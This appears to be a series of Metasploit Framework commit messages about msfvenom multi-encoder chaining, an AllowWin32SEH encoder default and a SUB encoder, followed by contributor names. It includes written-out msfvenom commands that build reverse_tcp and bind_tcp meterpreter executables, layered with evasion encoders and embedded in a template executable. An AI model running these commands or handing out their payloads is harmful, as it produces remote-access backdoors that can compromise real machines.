Add psexec option SERCVICE_STUB_ENCODER to allow a list of encoder to
encode the x86/service stub.
Add multiple_encode_payload function in payload_generator.rb to accept a
list of encoder (beginning with @ to not break the classic parsing of
encoder).
With this it would be possible to pass multiple encoder to msfvenom in
one execution.
./msfvenom -p windows/meterpreter/reverse_tcp LPORT=80
LHOST=192.168.100.11 -e
@x86/shikata_ga_nai,x86/misc_anti_emu:5,x86/shikata_ga_nai -x
template.exe -f exe-only -o meterpreter.exe
This is patch to change AllowWin32SEH to false.
Root cause:
The truely intended behavior is that if the user doesn't set a
BufferRegister and the encoder is for Windows, the AllowWin32SEH
code should kick in.
The problem here is that msfencode and msfvenom handle the platform
information differently, so we get different results.
With msfencode, the platform information isn't passed when alpha_mixed
is used, so even if you're using the encoder for Win32, the encoder
doesn't actually know about this. But everything works out just fine
anyway because people don't actually rely on AllowWin32SEH.
With msfvenom, the platform information is passed, so the encoder
actually knows it's for Windows. The two conditions are met (regster
and platform), so AllowWin32SEH kicks in. However, the AllowWin32SEH
technique enforces the BufferRegister to ECX, and that there's no
GetPC, so by default this isn't going to work.
The solution:
We are actually better off with setting AllowWin32SEH to false, mainly
because the SEH technique is pretty much dead (congrats MSFT!). And we
want the GetPC routine by default.
If people want to use AllowWin32SEH routine, they can simply set
AllowWin32SEH to true to bring it right back. For example:
e = framework.encoders.create('x86/alpha_mixed')
e.datastore.import_options_from_hash({'AllowWin32SEH'=>true})
buf = e.encode("AAAA", nil, nil, ::Msf::Module::PlatformList.win32)
Or in msfvenom:
msfvenom -p windows/meterpreter/bind_tcp -e x86/alpha_mixed
AllowWin32SEH=true -f raw
Fix#4717
See the complaint on #4039. This doesn't fix that particular
issue (it's somewhat unrelated), but does solve around
a file parsing problem reported by @void-in
Full details of the encoder are in the detailed description in the
source itself. But this is effectively an "optimised" SUB encoder
which is similar to the add_sub encoder except it doesn't bother to
use the ADD instructions at all, and it doesn't zero out EAX for
each 4-byte block unless absolutely necessary. This results in
payloads being MUCH smaller (in some cases 30% or more is saved).
Aside from codebase-wide changes, nearly all of these tests haven't been
touched since before 2010, and there is no effort to maintain this style
of testing. We've moved on to (correctly) seperating out our tests from
our codebase.
Brent Cook
g0tmi1k
William Vu
Christian Mehlmauer
agix
James Lee
Spencer McIntyre
HD Moore
jvazquez-r7
sinn3r
Tod Beardsley
URI Assassin
OJ
Melih SARICA